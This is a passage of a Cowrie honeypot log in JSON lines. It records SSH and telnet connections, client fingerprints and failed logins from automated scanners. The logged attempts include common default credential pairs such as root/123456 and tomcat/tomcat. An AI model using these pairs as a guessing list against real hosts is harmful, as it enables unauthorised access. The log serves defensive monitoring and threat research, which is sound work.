sh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:42.351249Z","src_ip":"176.65.132.254","session":"648c1dfd8d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:42.603113Z","src_ip":"176.65.132.254","session":"648c1dfd8d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:43.688516Z","src_ip":"176.65.132.254","session":"648c1dfd8d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39304,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e55078b634c","protocol":"ssh","message":"New connection: 176.65.132.254:39304 (10.17.0.5:22) [session: 7e55078b634c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:46.752270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:46.757280Z","src_ip":"176.65.132.254","session":"7e55078b634c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:46.840288Z","src_ip":"176.65.132.254","session":"7e55078b634c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:47.139138Z","src_ip":"176.65.132.254","session":"7e55078b634c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:48.255757Z","src_ip":"176.65.132.254","session":"7e55078b634c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45426,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dbb92454390","protocol":"telnet","message":"New connection: 134.209.8.29:45426 (159.203.135.109:23) [session: 2dbb92454390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:49.289008Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":60578,"dst_ip":"159.203.135.109","dst_port":22,"session":"325d48cf8565","protocol":"ssh","message":"New connection: 152.32.189.59:60578 (159.203.135.109:22) [session: 325d48cf8565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:49.376064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:49.381072Z","src_ip":"152.32.189.59","session":"325d48cf8565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:49.674217Z","src_ip":"152.32.189.59","session":"325d48cf8565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazXSW@3edc","message":"login attempt [ubuntu/1qazXSW@3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:50.585847Z","src_ip":"152.32.189.59","session":"325d48cf8565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39320,"dst_ip":"10.17.0.5","dst_port":22,"session":"9274e18d628f","protocol":"ssh","message":"New connection: 176.65.132.254:39320 (10.17.0.5:22) [session: 9274e18d628f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:50.879882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:50.884863Z","src_ip":"176.65.132.254","session":"9274e18d628f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:50.966695Z","src_ip":"176.65.132.254","session":"9274e18d628f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:51.470689Z","src_ip":"176.65.132.254","session":"9274e18d628f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:51.813650Z","src_ip":"152.32.189.59","session":"325d48cf8565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:52.555546Z","src_ip":"176.65.132.254","session":"9274e18d628f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53718,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb0f9c8a9428","protocol":"telnet","message":"New connection: 38.54.119.93:53718 (10.17.0.5:23) [session: eb0f9c8a9428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:52.891570Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49236,"dst_ip":"10.17.0.5","dst_port":22,"session":"287792a60178","protocol":"ssh","message":"New connection: 176.65.132.254:49236 (10.17.0.5:22) [session: 287792a60178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:55.172094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:55.177977Z","src_ip":"176.65.132.254","session":"287792a60178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.149588108062744,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:55.262079Z","src_ip":"134.209.8.29","session":"bfef151597d0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:55.266237Z","src_ip":"176.65.132.254","session":"287792a60178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:55.518253Z","src_ip":"176.65.132.254","session":"287792a60178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:56.607364Z","src_ip":"176.65.132.254","session":"287792a60178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"5499ea0f3672","protocol":"telnet","message":"New connection: 38.54.119.93:57698 (10.17.0.5:23) [session: 5499ea0f3672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:58.841807Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ba0f02caba","protocol":"telnet","message":"New connection: 134.209.8.29:58180 (159.203.135.109:23) [session: b5ba0f02caba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:59.440386Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49248,"dst_ip":"10.17.0.5","dst_port":22,"session":"231a7cac0a58","protocol":"ssh","message":"New connection: 176.65.132.254:49248 (10.17.0.5:22) [session: 231a7cac0a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:59.797707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:59.802640Z","src_ip":"176.65.132.254","session":"231a7cac0a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:59.884839Z","src_ip":"176.65.132.254","session":"231a7cac0a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:00.138323Z","src_ip":"176.65.132.254","session":"231a7cac0a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:01.449860Z","src_ip":"176.65.132.254","session":"231a7cac0a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58178,"dst_ip":"159.203.135.109","dst_port":23,"session":"063383865030","protocol":"telnet","message":"New connection: 134.209.8.29:58178 (159.203.135.109:23) [session: 063383865030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:03.560869Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35736,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa801b2ae54b","protocol":"ssh","message":"New connection: 176.65.132.254:35736 (10.17.0.5:22) [session: aa801b2ae54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:04.518677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:04.523675Z","src_ip":"176.65.132.254","session":"aa801b2ae54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:04.610584Z","src_ip":"176.65.132.254","session":"aa801b2ae54b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:04.855797Z","src_ip":"176.65.132.254","session":"aa801b2ae54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.405803203582764,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:05.247470Z","src_ip":"38.54.119.93","session":"5499ea0f3672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.01568341255188,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:05.872243Z","src_ip":"38.54.119.93","session":"3f166198f4a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:06.174509Z","src_ip":"176.65.132.254","session":"aa801b2ae54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.093287229537964,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:08.654037Z","src_ip":"134.209.8.29","session":"063383865030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35756,"dst_ip":"10.17.0.5","dst_port":22,"session":"2648ca994d29","protocol":"ssh","message":"New connection: 176.65.132.254:35756 (10.17.0.5:22) [session: 2648ca994d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:08.673155Z"}
{"eventid":"cowrie.session.closed","duration":42.53353190422058,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:08.781132Z","src_ip":"134.209.8.29","session":"98990136e855","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:08.887241Z","src_ip":"176.65.132.254","session":"2648ca994d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:08.891534Z","src_ip":"176.65.132.254","session":"2648ca994d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:09.337936Z","src_ip":"176.65.132.254","session":"2648ca994d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.83611607551575,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:09.596735Z","src_ip":"134.209.8.29","session":"425dbb52be8f","protocol":"telnet"}
